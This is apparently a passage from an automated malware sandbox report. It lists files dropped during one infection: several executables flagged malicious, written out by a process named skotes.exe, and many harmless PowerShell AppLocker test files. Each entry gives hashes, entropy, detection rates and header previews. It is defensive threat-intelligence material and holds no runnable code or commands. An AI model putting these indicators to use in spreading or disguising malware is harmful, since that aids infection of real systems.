SSDEEP:	96:1j9jwIjYjUDK/D5DMF+BOiUAtWkZLmmIrRvc9PaQxJbGD:1j9jhjYjIK/Vo+trPZ6mIr9c9ieJGD
MD5:	38985D4A1246725CB3517FF2C3F66829
SHA1:	32B7732055DAB592C086333DE1D2BF490007C6AE
SHA-256:	D32F3CDB3EB41A5212792B11D8CE307488D24BC2B49B959FD184FCBCC2BE1EF9
SHA-512:	D2C4EF93833E245C72819CAEBB5F8F2F8E5E91DEB0FFDDF22C015307133162DADFC73D64340F3082408A22D0C9B32C9D0F146E4697F43C09220A8D58E60FE6FC
Malicious:	true
Yara Hits:	Rule: JoeSecurity_BlockedWebSite, Description: Yara detected BlockedWebSite, Source: C:\Users\user\AppData\Local\Temp\1010789001\build.exe, Author: Joe Security
Preview:	<!DOCTYPE html>. [if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->. [if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->. [if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->. [if gt IE 8]> > <html class="no-js" lang="en-US"> <![endif]-->.<head>.<title>Suspected phishing site \| Cloudflare</title>.<meta charset="UTF-8" />.<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />.<meta http-equiv="X-UA-Compatible" content="IE=Edge" />.<meta name="robots" content="noindex, nofollow" />.<meta name="viewport" content="width=device-width,initial-scale=1" />.<link rel="stylesheet" id="cf_styles-css" href="/cdn-cgi/styles/cf.errors.css" />. [if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]-->.<style>body{margin:0;padding:0}</style>... [if gte IE 10]> >.<script>. if (!navigator.cookieEnabled) {. window.addEventListener('DOMContentLoaded

C:\Users\user\AppData\Local\Temp\1010790001\5d1390e5c6.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1890816
Entropy (8bit):	7.948613172544396
Encrypted:	false
SSDEEP:	49152:LhMHKcwnHHKtsp1G61drUYDhJaSRseiHXKn:1MHKJHKtsp1NrLDhJaSGXHa
MD5:	99C1F3545CC82F35F8C68AE3145529BE
SHA1:	37DBBD25BFA9BCBB39B4E3E1CC63449D0E49A6DF
SHA-256:	E65CAC76DF90AC40AD2B721F1AD56E3A7D11EC8950D32C259987B0BFEF7ED9C1
SHA-512:	80C45BD025F65337CFF86C840A4F06D5A52C5571CED3EF47725A8BDADA43EAE931184742F4070EFA29D8C96AFD978D59F083E0BE2311552E00B604B9652CCCEA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 45%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....XKg............................. K...........@..........................PK...........@.................................\P..p....@.......................Q...................................................................................... . .0.......F..................@....rsrc........@.......V..............@....idata .....P.......X..............@... .P+..`.......Z..............@...arzmofiy.`....0..X...\..............@...wqqjackv......K.....................@....taggant.0... K.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1010791001\0474b55419.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1803264
Entropy (8bit):	7.9456730481327895
Encrypted:	false
SSDEEP:	24576:/t+5NysdxkDawuQyEZYc7pZHgstxSgLVJ8I6xxqwcUxH3sK+8BkItzaX0opJsXGY:17okDfZb7p7AGd0x8KhHo6GOE4l
MD5:	F1342D3C266F900B0F741A88D34C2C66
SHA1:	969F00C1D09C99F2ADEBE3898B42EE97D9E1C53C
SHA-256:	A2690A898A227466FA7C8BABA05A72ED5C48EC224CC1D7B4F44F2313E830DC23
SHA-512:	75790FB1BB16DF9467A8280E976018F75500D9E9EF275DBA5807C21CCE5A24D2C67F8F1E6CDE1EA41831DCF8C470A9069F6DE4A8AAB6F1BDAB246D1D0AF83926
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 34%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........8..k..k..k.'k..k..k..k.&k..k...k..k...k..k...j..k..k..k.#k..k..k..kRich..k........PE..L...<.Jg....................."........i...........@...........................i...........@.................................M.$.a.....$.......................$..................................................................................... . ..$......b..................@....rsrc.........$......r..............@....idata ......$......t..............@... ..*...$......v..............@...vhfoedue......O......x..............@...uyqyjagh.....pi......^..............@....taggant.0....i.."...b..............@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1010792001\1f49a13412.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	6.515603608355807
Encrypted:	false
SSDEEP:	768:OaN/DvXlBxuaF8bKLSBVIFA/ZA6A+3jL/sXNumG3buQF:OkTXlBkaF9SoSZs+zIX435
MD5:	28AA976A72FBB885B3FA3EEEC9016BB5
SHA1:	41F5A5174266183DFF1B8A6D24A7F42D2124D8CF
SHA-256:	773602A44B14923E3607357CAA1B8733BEFCED2ECA95384921E67B5DDFBCDE62
SHA-512:	B4F8C738E573B14A75DE45CA3DF9D03B7A53927607A6B7CFFC90F3C3C5A9DA6579084E782F7AED7754F609B4BC9F592E1BA3D00C4C6A35F5FD49959CB2DEF3C9
Malicious:	true
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L...(.Kg.........."..........d......w.............@..........................p............@...@.......@.....................d...\|....@..\........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...\....@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1010793001\c1444066db.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2797568
Entropy (8bit):	6.514411317957085
Encrypted:	false
SSDEEP:	24576:Q8vRGz0OIT/jWPQ7BpJpTSrkZpQxKJ/3RMTFDNg46aBDSUMz5nJXu4FjFmjHOaXs:Q8vga8888QxfXDcJXuUpJ7+ovr6
MD5:	3865F30B50E6D968568CC7ED2896D2C8
SHA1:	1B155337D42AEE4ABCFBA17F4B8F8506D44A5A38
SHA-256:	652AF1A8863F823BE8D4CD460B7764221EC61E2BEBAEC7F161138A7B7D2CB138
SHA-512:	BCF641881C70B1FA8DC3D82301BF3EB336DD2A75CC43C825FF3D953BA61FC6891CFDB9242F847BCBFCFB89E4BBF1006690E0549F604D8E193D0E9D9A24423347
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$........... +.. ...`....@.. .......................`+.....P8+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...prdxzixt.`......P..:..............@...jfbasxge. ....+....................@....taggant.@... +..".................@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0e54mm4o.pvr.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_122jbbvq.cri.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1zg2zfun.hfc.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2sdcvs22.2i2.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4ffkxxli.lhs.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_52eboz2y.nzk.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5mkwfe42.h4i.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_aa3qdmxj.iy2.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dbtagg10.wlq.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ejfd4y0z.t15.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gv1hrr4y.30g.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gzepeljz.vu2.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_h0giykca.0ar.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_owow0uwe.wme.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_oy0xvfsp.bfo.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pt0sfyxf.ung.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qcxkf15r.j2c.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rdkrgxid.q5r.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rs5nmfzs.03f.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_s0chguk4.x3p.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_s213st5f.clo.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sfpfaahe.525.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sz1vweo0.kz3.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wcbq0hgf.joh.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wfiow2bi.yn5.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wprm4gmi.rwk.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
